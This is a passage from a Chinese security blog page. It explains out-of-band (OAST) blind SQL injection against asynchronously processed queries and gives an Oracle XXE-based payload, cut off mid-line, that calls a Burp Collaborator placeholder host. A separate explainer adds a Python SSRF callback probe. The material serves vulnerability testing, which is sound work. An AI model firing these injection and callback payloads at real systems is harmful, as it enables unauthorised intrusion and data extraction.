【网络安全】基于OAST的SQL盲注

未经许可,不得转载。

前言

OAST (Out-Of-Band Application Security Testing) SQL 注入 技术通过引发 DNS 交互或外部通信,能够识别异步处理过程中的漏洞。

在漏洞挖掘中,大多数白帽子使用时间延迟型 SQL 注入来检测 SQL 注入漏洞。然而,某些情况下,时间延迟型 SQL 注入无法检测出存在的 SQL 注入漏洞,而基于 OAST 的 SQL 注入却能成功发现这些漏洞。

异步执行

这种情况的原因可能是应用程序在异步执行 SQL 查询。当用户输入时,服务器可能通过参数化查询安全地处理参数并返回正常响应,这会导致时间延迟型 SQL 注入测试未能感受到预期的延迟,从而误判程序没有 SQL 注入漏洞。

然而,此后服务器可能在后台将请求参数保存到数据库中用于分析,这时注入攻击才会生效。基于 OAST 的 SQL 注入技术能够有效检测到这种异步处理中的漏洞。

Payloads

Oracle OAST SQL Payloads:

//DNS 查找

SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remo
04-03
### OAST 技术介绍 OASTOut-of-Band Application Security Testing,带外应用安全测试)是一种扩展传统 DAST 的技术手段。它通过利用外部通道来检测应用程序中的漏洞,解决了某些情况下仅依赖于直接响应数据无法发现的安全问题[^1]。 #### 工作原理 OAST 使用的技术核心在于引入了一个额外的通信机制。当扫描器发送请求到目标系统时,该请求会触发服务器向预定义的第三方服务发起新的网络连接或 DNS 查询。这种间接反馈使得即使在防火墙隔离或其他限制条件下也能捕获潜在威胁的信息。 例如,在处理 SSRF (Server-Side Request Forgery,服务器端请求伪造)漏洞时,如果内部资源访问被严格控制,则常规方法可能难以识别此类风险;而采用 OAST 方法可以通过观察是否有来自受害主机对外部监控站点的成功联系行为来进行判断[^4]。 ### 应用场景分析 以下是几个典型的应用场景: 1. **漏洞探测** 对于那些不会立即返回错误消息给客户端但却存在安全隐患的功能模块来说尤为重要。比如 SQL 入、命令执行等问题可能会因为过滤规则等原因导致标准入尝试失败,此时借助 OAST 能够有效突破这些障碍并确认实际影响范围。 2. **跨域资源共享(CORS)配置不当评估** 如果 API 接口允许任意来源调用或者缺乏足够的验证措施的话,攻击者就有可能滥用此特性窃取敏感资料。运用 OAST 方案可以帮助审计人员更全面地理解 CORS 设置是否合理以及是否存在可被恶意利用之处。 3. **文件上传解析漏洞挖掘** 当涉及到复杂的 MIME 类型判定逻辑或者是基于内容而非声明头字段决定如何处置所提交文档的情况下,单纯依靠本地回显往往不足以暴露全部隐患。因此,实施带有回调机制的设计便显得尤为必要了。 ```python import requests def test_oast_callback(url, callback_server): payload = f"?url=http://{callback_server}" response = requests.get(url + payload) # Check if the request was successful and wait for a call back from server to confirm exploitability. print(f"Sent potential SSRF vector {payload}. Waiting for out of band confirmation at {callback_server}") ``` 上述代码片段展示了如何构建一个简单的 SSRF 测试案例,并设置好接收通知的服务地址以便后续跟进结果。 ---
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

秋说

感谢打赏

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值